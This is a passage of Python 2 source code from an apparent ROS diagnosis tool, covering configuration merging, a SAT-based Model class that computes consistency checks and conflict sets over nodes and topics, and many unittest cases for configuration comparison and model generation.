= name_list.index(node.name) del self.config.nodes[index_if_exists] self.config.nodes.append(node) # remove of observers for observer in config_update.observers: # find in known observers for index, known_observer in enumerate(self.config.observers): # continue if name does not fit if not observer.type == known_observer.type: continue self.config.observers[index] = None # deleting from list while iterating is a bad idea, so list is reduced here self.config.observers = [x for x in self.config.observers if x] for observer in config_update.observers: self.config.observers.append(observer) if not self.test_config(): self.config = config_backup return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID, error_msg='New configuration is not valid!') return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='') @staticmethod def copy(config): """ Make a deep copy of configuration :return: deep copy of configuration """ if not config: return None config_copy = configuration() for node in config.nodes: config_copy.nodes.append( node_configuration(name=str(node.name), pub_topic=list(node.pub_topic), sub_topic=list(node.sub_topic))) for observer in config.observers: config_copy.observers.append( observer_configuration(type=str(observer.type), resource=list(observer.resource))) return config_copy def get_config_copy(self): """ Get a deep copy of configuration :return: deep copy of configuration """ return self.copy(self.config) class Model(object): def __init__(self, **options): self.sat_engine_name = options.get('sat_solver', None) self.check_problem = Problem(self.sat_engine_name) self.comp_problem = self.check_problem self.check_queries = 0 self.comp_queries = 0 self.queries = 0 self.options = options options['separate_tp'] = options.get('separate_tp', False) self.first_check_call = True self.first_comp_call = True self.previous_diagnoses = set() self.last_max_card = 0 self.vars = {} self.rules = [] self.nodes = [] self.real_nodes = [] def set_model(self, configs): self.vars = {} self.rules = [] self.nodes = [] self.real_nodes = [] topics_published_from_nodes = dict() topics_subscribed_from_nodes = dict() nodes_publish_topics = dict() nodes_subscribe_topics = dict() topics = set() for node in configs.nodes: node_name = node.name self.real_nodes.append(node_name) self.vars[node_name] = Variable(node_name, Variable.BOOLEAN, None) self.vars[ab_pred(node_name)] = Variable(ab_pred(node_name), Variable.BOOLEAN, None) for topic in node.pub_topic: topics_published_from_nodes.setdefault(topic, []).append(node_name) nodes_publish_topics.setdefault(node_name, []).append(topic) for topic in node.sub_topic: topics_subscribed_from_nodes.setdefault(topic, []).append(node_name) nodes_subscribe_topics.setdefault(node_name, []).append(topic) topics.update(node.pub_topic) topics.update(node.sub_topic) topics = list(topics) configs.observers.append(observer_configuration(type="general", resource=topics)) for config in configs.observers: new_vars, new_rules, new_nodes, new_real_nodes = generate_model_parameter(config, topics_published_from_nodes, topics_subscribed_from_nodes, nodes_publish_topics, nodes_subscribe_topics) self.vars.update(new_vars) self.rules += new_rules self.nodes += new_nodes self.real_nodes += new_real_nodes self.nodes = self.real_nodes + self.nodes def set_observations(self, observations): """ Write current observation into diagnosis model. :param observations: Is a Tuple (name, value) where 'name' identifies the variable name and 'value' describes the current situation for of the variable. """ for name, value in observations: if name in self.vars.keys(): self.vars[name].value = value else: print 'A observation is unknown! It will be ignored by the model' def set_options(self, **options): self.options.update(options) def is_real_node(self, node_name): """ Test if given node name is a real node or a generated node. :param node_name: node name that should be tested :return: True, if it is a real node name otherwise False """ if node_name in self.real_nodes: return True return False def check_consistency(self, h): """ Calculate a conflict set by constraining the AB predicates depending on a gates inclusion in h. These new sentences are added to the problem and the SAT solver is started again. If it returns SAT, the hitting set h is consistent, otherwise it returns UNSAT. """ if self.options['separate_tp']: self.check_queries += 1 # if self.check_queries > 100: self.check_queries = 0 self.check_problem.finished() self.check_problem = Problem(self.sat_engine_name) self.first_check_call = True else: self.queries += 1 # if self.queries > 100: self.queries = 0 self.check_problem.finished() self.check_problem = Problem(self.sat_engine_name) self.comp_problem = self.check_problem self.first_check_call = True self.first_comp_call = True if self.options['separate_tp'] and self.check_problem == self.comp_problem: self.check_problem = Problem(self.sat_engine_name) vars = self.vars.values() rules = self.rules[:] nodes = self.nodes[:] # for all gates not in h set the AB predicate to false. for node in set(nodes) - h: rules.append(AbConstraint(node, False)) # get me an unsatisfiable core of AB predicates r = self.comp_problem.solve(Description(vars, rules), calculate_unsat_core=False) return r.sat() def calculate_conflicts(self, h): """ Calculate a conflict set by constraining the AB predicates depending on a gates inclusion in h. These new sentences are added to the problem and the SAT solver is started again. This should return a new UNSAT core, which is returned as new conflict set. """ if self.options['separate_tp']: self.comp_queries += 1 # if self.comp_queries > 100: self.comp_queries = 0 self.comp_problem.finished() self.comp_problem = Problem(self.sat_engine_name) self.first_comp_call = True else: self.queries += 1 # if self.queries > 100: self.queries = 0 self.check_problem.finished() self.check_problem = Problem(self.sat_engine_name) self.comp_problem = self.check_problem self.first_check_call = True self.first_comp_call = True vars = self.vars.values() rules = self.rules[:] nodes = self.nodes[:] rules.append(PushSentence()) # for all gates not in h set the AB predicate to false. for node in set(nodes) - h: rules.append(AbConstraint(node, False)) # get me an unsatisfiable core of AB predicates r = self.comp_problem.solve(Description(vars, rules), calculate_unsat_core=True) if r.sat(): return None else: conflict = map(lambda x: x, r.get_unsat_core()) return frozenset(conflict) def finished(self): if self.check_problem: self.check_problem.finished() if self.comp_problem and self.check_problem != self.comp_problem: self.comp_problem.finished() class TestConfigurationValidation(unittest.TestCase): def setUp(self): pass def test_compare_configs_1(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertTrue(ConfigurationValidation.compare_configs(config_a, config_b), "configs do not match!") def test_compare_configs_2(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_3(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_4(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1a"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_5(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1d"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_6(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic3"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_7(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic3"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_8(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hza", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_9(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hza", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_10(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1s"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_11(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1s"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_12(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1", "/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_13(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1", "/topic2"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_14(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz1", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_15(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz2", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_16(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) self.assertTrue(ConfigurationValidation.compare_configs(config_a, config_b), "configs do not match!") def test_compare_configs_17(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_18(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic3"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_19(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_20(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_21(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hzd", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") def test_compare_configs_22(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hzw", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!") class TestModelGenerator(unittest.TestCase): def setUp(self): pass def test_set_config_1(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) gen = ModelGenerator() gen.set_config(config_a) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_1(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_2(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_3(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_4(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[])) config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_5(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_6(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.observers.append(observer_configuration(type="timestamp", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timestamp", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_7(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_8(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node4", pub_topic=["/topic2"], sub_topic=[])) config_b.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node4", pub_topic=["/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_9(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="activated", resource=["node1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node3", pub_topic=["/topic2"], sub_topic=[])) config_b.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic2"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="activated", resource=["node1"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_10(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result = configuration() config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_11(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[])) config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result_a = configuration() config_result_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[])) config_result_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_result_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result_a), "configs do not match!") config_c = configuration() config_c.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_result_b = configuration() config_result_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=["/topic1"])) config_result_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[])) config_result_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) gen.add_config(config_c) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result_b), "configs do not match!") def test_add_config_12(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result = configuration() # config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_13(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) config_a.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"])) config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.observers.append(observer_configuration(type="timestamp", resource=["/topic2"])) config_result = configuration() # config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"])) # config_result.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timestamp", resource=["/topic2"])) gen = ModelGenerator() gen.set_config(config_a) gen.add_config(config_b) self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!") def test_add_config_14(self): config_a = configuration() config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b = configuration() config_b.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"])) config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_b.observers.append(observer_configuration(type="activated", resource=["node2"])) config_result = configuration() # config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"])) config_result.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"])) config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"])) config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"])) config_result.observers.append(observer_configuration(type="activated", resource=["node2"])) 